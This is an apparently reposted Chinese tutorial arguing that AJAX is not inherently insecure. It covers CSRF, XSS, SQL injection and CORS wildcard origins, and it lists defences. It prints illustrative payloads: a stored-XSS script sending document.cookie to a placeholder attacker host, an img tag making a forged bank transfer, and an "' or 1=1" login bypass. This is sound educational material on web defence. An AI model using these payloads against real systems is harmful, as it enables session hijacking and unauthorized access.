首頁  >  文章  >  web前端  >  Web與AJAX的安全性效能

Web與AJAX的安全性效能

php中世界最好的语言
php中世界最好的语言原創
2018-03-30 15:36:491785瀏覽

這次帶給大家Web與AJAX的安全性能,Web與AJAX安全性能的注意事項有哪些,以下就是實戰案例,一起來看一下。

開篇三問

  • #AJAX請求真的不安全感?

  • AJAX請求哪裡不安全?

  • 怎麼樣讓AJAX請求更安全?

前言

#日前網路中流行圍繞AJAX和安全風險的討伐聲浪讓人不絕於耳。以下就來詳細談談Web安全與AJAX的關係。

本文包含的內容較多,包括AJAX,CORS,XSS,CSRF等內容,要完整的看完並理解需要付出一定的時間。

另外,見解有限,如有描述不當之處,請幫忙及時指出。

正文開始...

從入坑前端開始,一直到現在,AJAX請求都是以極高的頻率重複出現,也解決過不少AJAX中遇到的問題,如跨域調試,錯誤調試等等。

從這種,發現了一個共通現象:那就是每次和後台人員對接時,他們都會提到AJAX請求不安全,請用普通http請求!

雖然很多時候,都是經過多翻口舌之爭後,最終後台那邊妥協,允許部分符合條件的AJAX請求。但是,我卻很糾結一個問題:AJAX請求真的不安全?為什麼我自己寫後台時並沒有發現這個問題?

於是,開始準備蒐集資料,結合自己已有的認知,整理成一份解決方案,分析AJAX請求真的不安全麼?哪裡不安全? ,後續遇到類似的問題就直接向對方拋出一篇文章

大綱

AJAX請求真的不安全麼

  • AJAX不安全的說法從何而來

#常見的幾種Web前端安全性問題

  • #CSRF簡介

  • CSRF與AJAX的關係式

  • #XSS簡介

  • ##XSS與AJAX的關係

  • SQL注入簡介

  • SQL注入與AJAX的關係式

AJAX與HTTP請求的區別

CORS與AJAX安全性之間的關聯

  • #CORS與AJAX關係的簡介

  • 為什麼要配置CORS?

  • CORS會配置些什麼資訊?

  • CORS Origin: *的安全性

再看,AJAX請求真的不安全麼?

AJAX請求哪裡不安全?

怎麼樣讓AJAX請求更安全?

AJAX請求真的不安全麼

#首先,先說一個結論:AJAX請求是否安全,由服務端(後台)決定

有這樣一個說法:如果某個Web應用程式具備良好的安全性,那麼再怎麼用「不安全的AJAX」也削弱不了它的安全性,反之如果應用程式本身存在漏洞,不管用何種技術請求,它都是不安全的

為何會有這種說法?因為在Web應用中,客戶端輸入不可信是一個

基本原則

AJAX不安全的說法從何而來?

在AJAX出現時,那時的服務端還是很古老的那一批,因此完全沒有考慮到AJAX出現後,前端請求方式會變得異常複雜,造成以前的安全策略已經無法滿足要求了,導致大批後台安全漏洞的曝光。 。 。

很顯然,都是因為AJAX出現後曝光了更多的安全漏洞,導致它看起來很危險(因為AJAX出現後,請求方式變多了,以前的架構在新的請求中就可能出現更多漏洞)

So,AJAX不安全的說法自然擴散到了各個角落。

常見的幾種Web前端安全性問題

要知道AJAX請求是否安全,那麼就得先知道Web前端中到底有那幾個安全性問題

1.XSS(跨站脚本攻击)(cross-site scripting)
 -> 伪造会话(基于XSS实现CSRF)
 
 -> 劫持cookie
 
 -> 恶意代码执行
2.CSRF(跨站请求伪造)(cross-site request forgery)
 -> 伪造用户身份操作
 
3. SQL注入
...(其它暂且不提)

如上,Web前端中的安全問題主要就是這幾大類(僅列舉部分做分析),所以我們首先要分析AJAX與此幾大類之間的關係。 (XSS和CSRF,下文也會做簡單介紹。)

CSRF簡介

CSRF,特徵很簡單:冒用使用者身份,進行惡意操作

時至今日,這項安全漏洞已經被人們剖析的很透徹了,隨便Google,百度之,都會找到很多的解釋。這裡也用一張圖來先做簡單描述:

(註,下面介紹參考了來源文章中的描述,譬如圖就是參考了來源中的博文後重繪的)

所以,我們看到關鍵條件是:

      1. 採用cookie來進行使用者校驗

      2. 登入受信任網站A,並在本地產生Cookie

      3. 在不登出A的情況下,造訪危險網站B

一般在(4)處惡意網站(B)的攻擊手段如下(必須是指向A的位址,否則無法帶上cookie,都是透過瀏覽器間接實作(利用Web的cookie隱式驗證機制),所以HttpOnly並不會影響這個攻擊

最後說下,幾種常見的CSRF防御手段:

1. 驗證HTTP Referer字段(非常簡單,但是鑑於客戶端並不可信任,所以並不是很安全)

(防止CSRF,檢查Referer字段簡單直接,但是其完全依賴瀏覽器發送正確的Referer字段。

雖然http協議對此欄位的內容有明確的規定,但並無法保證來訪的瀏覽器的具體實現,亦無法保證瀏覽器沒有安全漏洞影響到此欄位。可能。 CSRF與AJAX的關係

上文中,我們看到CSRF的前提是cookie驗證使用者身份,那麼它與AJAX的關係大麼呢?

我們先分析AJAX中帶cookie驗證的情況:

1. AJAX受到瀏覽器的同源策略限制

2. AJAX預設無法請求跨域的接口

(當然後台可以配置`Access-Control-Allow-Origin: *`之類的允許所有的跨域請求)

3. AJAX請求無法攜帶跨域cookie

#(如果強行開啟withCredentials,必須服務端配合認證,無法用作攻擊)

嗯哼...看到這,基本上就可以認為CSRF與AJAX請求無緣無故了。 。 。

譬如假設上圖中第4部分的請求由AJAX發起,假設網站A已經允許了Access-Control-Allow-Origin: *,由於網站B與網站A是不同域名,所以存在跨域,根據同源策略,請求時根本無法攜帶cookie,故而無法通過身分認證,攻擊失敗。 。 。

就算強行開啟withCredentials,攜帶跨域cookie,但由於服務端並不會單獨配置網站B的跨域cookie(需配置Access-Control-Allow-Credentials: true,而且這時候不允許設定Allow-Origin : *),所以肯定認證失敗

可以看到,就算Access-Control-Allow-Origin: *允許所有來源的AJAX請求,跨域的cookie預設仍然是無法攜帶的,無法CSRF

所以說,結論是:CSRF與AJAX無關

XSS簡介


既然CSRF与AJAX关系不大,那么XSS应该会与AJAX有很大关系吧?(要不然为什么一直说AJAX请求不安全,对吧。)。那么请继续看下去(本文中只限JS范畴)

XSS(cross-site scripting),看起来简写应该是css更合适。。。但是为了和层叠式样式表区分,就用XSS简写表示

XSS的特征也可以概括为:跨域脚本注入,攻击者通过某种方式将恶意代码注入到网页上,然后其他用户观看到被注入的页面内容后会受到特定攻击

相比CSRF,XSS囊括的内容更多,而且往往是多种攻击形式组合而成,这里以前文中介绍的几种为例:

1.cookie劫持

同样,页面中有一个评论输入,输入后会,因为后台的漏洞,没有过滤特殊字符,会直接明文保存到数据库中,然后展示到网页时直接展示明文数据,那么如下

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="saveComment.jsp" method="post"> 
 请输入评论内容:<BR> 
 <input name="content" type="text"> 
 <input type="submit" value="确认">
</form>

然后攻击者分析后,输入

<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>

保存文章。很简单的代码,由于没有过滤脚本,那么其它用户登陆后,在看到这篇文章时就会自动将他们的cookie信息都发送到了攻击者的服务器。

攻击者可以在cookie(譬如jsessionid对应的session)有效期内拿它们冒充用户操作。

需要注意,这里和CSRF的区别是,这里是拿到了cookie后主动冒充用户的,而CSRF中根本就不知cookie,仅利用浏览器的隐式校验方式冒充用户。

2.会话伪造

同样是评论漏洞的示例。

攻击者输入(举例比喻)

<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width=&#39;0&#39; height=&#39;0&#39;>

然后,接下来发生的故事就和CSRF中提到的一致。这种情况就是基于XSS而开展的CSRF,也有人喜欢称之为XSRF

需要注意,这里并没有自己拿到cookie,而是CSRF中提到的利用浏览器的隐式验证机制来冒充用户。

3.其它恶意代码执行

其实上面的cookie劫持以及会话伪造都算是恶意代码执行,为了区别,这里就专指前端的流氓JS。

譬如前面的评论中的输入可以是:

       譬如市面上盛行的网页游戏弹窗等。

       譬如干脆直接让这个页面卡死都可以。

       譬如无限循环。

这里再提一点,上述都是从前端输入作为入口的,但实际上有一类的输入也不可忽视,那就是:富文本攻击

它的特点就是: 富文本中注入了脚本,并且前后端未进行过滤,导致直接输出到了页面中

因为存在很多页面,都是将富文本内容展示到网页上的,没有进行过滤(哪怕时至今日,仍然有不少页面),这样只要富文本中有注入脚本,基本就中招了。。。

结论:

只要最终能向页面输出可执行的脚本语句,那么就是有漏洞,XSS攻击都有可能发生。

而且,基本上xss漏洞是很广泛的,虽然攻击类型很被动,也需要大量时间分析,但胜在大量的网站上都存在(特别是那种长期不更新的)

再提一点。上述的介绍更多的是从造成的后果来看,但其实如果从攻击手动来看的话可以分为几大类型:反射型XSS攻击(直接通过URL注入,而且很多浏览器都自带防御),存储型XSS攻击(存储到DB后读取时注入),还有一个DOM-Based型。

上述示例中都是存储型,具体更多内容网上已经有很详细的资料,这里不再继续深入,放一张图巩固下。

如何预防XSS:

  • 输入过滤,不信任用户的任何输入,过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符,

或者过滤“script”、“javascript”等脚本关键字,或者对输入数据的长度进行限制等等,还得考虑攻击者使用十六进制编码来输入脚本的方式。

  • 输出进行编码,和输入过滤类似,不过是从输出上着手,数据输出到页面时,经过HtmlEncoder等工具编码,这样就不会存在直接输出可执行的脚本了

  • cookie设置http-only,这样用脚本就无法获取cookie了

(这样只有浏览器向Web服务器发起请求的时才会带上cookie字段,避免了XSS攻击利用JavaScript的document.cookie获取cookie)

  • Cookie防盗,尽可能地避免在Cookie中泄露隐私,如用户名、密码等;

或者,为了防止重放攻击,可以将Cookie和IP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。

  • 注意,特别是后台,一定不能信任前端的输入,需要过滤与校验

XSS与AJAX的关系

以上分析了XSS造成一些影响与问题,仍然发现:与AJAX关系不大,因为这些问题不管用不用AJAX都会发生。

看看这种情况,譬如上述的富文本注入中:

1. 某个接口采用AJAX交互

2. AJAX请求完后将对应富文本字段显示到了页面上-譬如innerHTML

但是,这真的与AJAX无关,这是前后端没有进行输入输出过滤而造成的后果。

所以,还是那句话:如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的

SQL注入简介

sql注入展开将也是一门很大的学问,很早以前更是大行其道(当然,现在...),这里仅仅举几个最极端的示例。

前提是后台没有过滤前端的输入数据,否则根本无法生效

假设页面A中有一个登陆查询存在拙劣的sql注入漏洞,这样子的:(最极端,最傻的情况)

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="login.jsp" method="post"> 
 请输入用户名与密码:<BR> 
 <input name="name" type="text"> 
 <input name="password" type="text"> 
 <input type="submit" value="登陆">
</form>

在接收到登陆请求后,服务端的实际执行代码时是:

String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";

然而有攻击者分析出后台可能存在漏洞,尝试sql注入攻击,输入

name = ' or 1=1
password = anything

那么这样,后台接收到数据后,实际上查询的结果是

SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything'

故而,攻击者成功的绕过的用户名,利用后台漏洞登陆了。

当然了,像这类这么低级的漏洞,现象几乎已经不存在了,往往这类型漏洞需要仔细分析,耗时。(又或者是有内奸。。。)

SQL注入与AJAX的关系

额,从上述的示例中看不出和AJAX有什么关系。但是我们可以这样假设:

1. 有一个接口,接收AJAX post的数据

2. 数据中有一个字段 'name',后台接收到后没有进行过滤,直接如上面的演示一样,执行sql语句了

3. 所以AJAX中如果给那个字段传入非法的注入信息,就会触发这个漏洞,导致攻击生效
对,就是这样极端的情况下才会发生,而且与AJAX并没有关系,因为换成任何一种其它请求都会有类似的情况。。。

所以说,结论是:SQL注入与AJAX无关

AJAX和HTTP请求的区别

从本质上将:AJAX就是浏览器发出的HTTP请求,只不过是浏览器加上了一个同源策略限制而已。

AJAX请求的XMLHTTPRequest对象就是浏览器开放给JS调用HTTP请求用的。

那么AJAX和HTTP的区别呢?列出以下几点:

  • AJAX请求受到浏览器的同源策略限制,存在跨域问题

  • AJAX在进行复杂请求时,浏览器会预先发出OPTIONS预检(HTTP自己是不会预检的)

  • 从使用角度上说,AJAX使用简单一点,少了些底层细节,多了些浏览器特性(如自动带上同域cookie等)

  • 所以说,和认证上的HTTP请求的区别就是-多了一次浏览器的封装而已(浏览器会有自己的预处理,加上特定限制)

但是,从最终发出的报文来看,内容都是一样的(HTTP协议规范的内容),AJAX是发送HTTP请求的一种方式

所以从这一点可以得出一个结论:AJAX本质上安全性和HTTP请求一样

CORS与AJAX安全性之间的关联

按照前文中提到的内容,基本无法得出AJAX与请求不安全的关联。那么接下来,再继续分析,如果使用了跨域资源共享(CORS)后的安全性。

(因为往往ajax都会伴随着CORS)

CORS与AJAX关系的简介

这是一个跨域共享方案,大致流程就是:(仅以复杂请求的预检举例-这一部分要求提前掌握CORS相关知识)

     1. 前端AJAX请求前发出一个OPTIONS预检,会带一堆相关头部发送给服务端

     2. 服务端在接受到预检时,检查头部,来源等信息是否合法,合法则接下来允许正常的请求,否则直接无情的拒绝掉

     3. 浏览器端如果收到服务端拒绝的信息(响应头部检查),就抛出对应错误。

否则就是正常的响应,接下来发出真正的请求(如POST)

请求和响应的头部信息大概如下:

Request Headers

// 在CORS中专门作为Origin信息供后端比对,表示来源域。
Origin: http://xxx
Access-Control-Request-Headers: X-Requested-With
// 所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中,一般POST请求中就会带上
Access-Control-Request-Method: OPTIONS

Response Headers

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx

最终,客户端发出的请求,必须符合服务端的校验规则才能正确,服务端才会返回正确头部,否则只会请求失败。报跨域错误。

以上仅是简介,更多信息可以参考来源中的ajax跨域,这应该是最全的解决方案了

为什么要配置CORS?

因为同源策略限制,AJAX无法请求跨域资源,CORS可以解决AJAX跨域请求问题。

因此:在本文中,配置CORS只是为了AJAX能跨域请求

CORS会配置些什么信息?

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx

如上,加上这个配置后,必须符合要求的才算是正常的请求,否则就会拒绝掉,一般AJAX跨域的话都会有OPTIONS,所以在预检中就做了这一步。

可以看到,关键的可变信息是:Access-Control-Allow-Origin: http://xxx

这个配置就是域名白名单,规定在什么样的域名下才能进行AJAX跨域请求。

CORS Origin: *的安全性

关键问题来了,在上面的CORS配置是这样的:

Access-Control-Allow-Origin: http://xxx

但是这个配置只允许特定域名访问,鉴于前端的复杂性,有时候调试起来不是很方便,因此有时候,会偷懒的设置为:

Access-Control-Allow-Origin: *

这个代表所有来源的跨域AJAX请求都能正常响应。

接下来我们再来分析设置Origin: *可能带来哪些问题。(都是基于AJAX的情况)

问题1:会对cookie认证造成影响么?

不会。虽然*代表了所有来源都能正常请求,但是同源策略下,是无法带上跨域cookie的。因此根本无法用身份验证。

而且,就算用withCredentials强行带上跨域cookie,因为后台没有支持,所以会报错。(这可以看成是CORSs模型的最后一道防线)

再者,后台就算配置Access-Control-Allow-Credentials允许跨域cookie,但是这时候的安全策略是Origin不允许为*,必须是一个明确的地址。

(否则你就可以看到浏览器的报错信息-跨域cookie时,Origin不允许为*)

问题2:如果伪造Origin头部呢?

首先,标准的浏览器中是不允许你伪造的(除非有严重漏洞),所以一般需要通过模拟客户端请求伪造。

但是。在非浏览器情况下,本来就没有同源策略。这又是何必。。。

所以说,伪造Origin与CORS并没有关系。

问题3:如果后台本来就存在漏洞呢?

做这样一个假设,假设用户所在网络的内网中有一台内网服务器,并且配置了允许所有的跨域请求:(当然,外网是请求不到内网的)

// 允许任何来自任意域的跨域请求
Access-Control-Allow-Origin: *

再假设内网服务器上恰巧存在敏感资源,并且没有额外设防,只要内网就能访问。譬如:

192.168.111.23/users.md

然后用户访问了恶意网页,而像HTML之类的网页都是下载到本地执行的,正好网页内有恶意代码,去向192.168.111.23/users.md请求资源,再将接收到的服务端返回发送到攻击者服务器。

(因为加了Origin为*,而且AJAX是由本地浏览器发出的,所以用户下载到本地的恶意网站是可以访问到用户内网中的后台的)

然后这些敏感数据就这样被盗取了。

But,这是因为服务端漏洞而存在的问题,设置Origin为的后台上为何要放置敏感资源?正常设置为Origin为的最大作用是用作公共API。

而且更重要的是,为何敏感资源就这样轻易的被获取了?为什么没有二次验证?

SO,后台本身有漏洞,所以才导致被攻击,AJAX恰好是攻击的手段之一(除了AJAX外还会有其它的方式),所以很多锅都甩到了AJAX头上。

这样,可以得出一个保守点的结论:

Origin如果不是*,AJAX请求并不会有安全问题,如果是*,可能会由于后台的漏洞,不经意间,AJAX就被作为一种攻击手段了,导致了出现AJAX不安全的说法

再看,AJAX请求真的不安全么?

仍然是最初的结论:

如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的

我们可以看到,XSS也好,CSRF也好,以及其它隐藏的可能漏洞也好,本质上都是后台已有漏洞造成的问题,AJAX最多是被用作一种攻击手段(甚至某些里面AJAX还无法使用)

提到AJAX请求不安全的,譬如有CORS里面配置Origin: *造成某些极端情况下能通过AJAX发出攻击。但事实上这也是其中的一种攻击手段而已,没有AJAX,该不安全的仍然不安全。

譬如还有的说法是:因为在AJAX出现以前,如果出现安全漏洞,容易被察觉,但AJAX是异步的,更容易隐式的出现安全问题。。。这也与安全性的本质无关。

最重要一点,从Web应用安全角度来谈,Web应用必须从不信任客户端。所以不要再把锅甩给AJAX。

AJAX请求哪里不安全?

同上,AJAX本身并不存在这种安全问题。

不过有一点需注意,如果使用了CORS方案。

1. Allow-Origin可以设置特定的值,过滤特定的白名单

2. 对于一些公共的API,可以直接将Allow-Origin设置为`*`

3. 当然,如果确认后台没有这些隐藏漏洞,可以直接使用`*`,毕竟也只是针对浏览器的同源策略而已,影响没有那么大。

怎么样让AJAX请求更安全?

仍然是文中反复提到的结论:

让Web后台更安全,则AJAX请求也更安全,反之后台有漏洞,不管怎么样都是不安全的

写在最后的话

这样的话,应该可以把AJAX不安全的锅甩掉了吧?

附錄

參考資料

  • #跨站請求偽造

  • 跨站腳本

  • 淺談CSRF攻擊方式

  • XSS攻擊與防禦

  • 前端安全性XSS攻擊

  • AJAX真的不安全?

  • AJAX 如何保證資料的安全性?

  • Web 開發常見安全性問題

  • 跨網域資源共享(CORS)安全性淺析

  • ajax跨域,這應該是最全的解決方案了

#相信看了本文案例你已經掌握了方法,更多精彩請關注php中文網其它相關文章!

推薦閱讀:

用ajax實作微信網頁授權登入的步驟(附程式碼)

判斷身分證與銀行卡號格式的正規如何寫

JS的正規如何校驗非零的正整數

以上是Web與AJAX的安全性效能的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn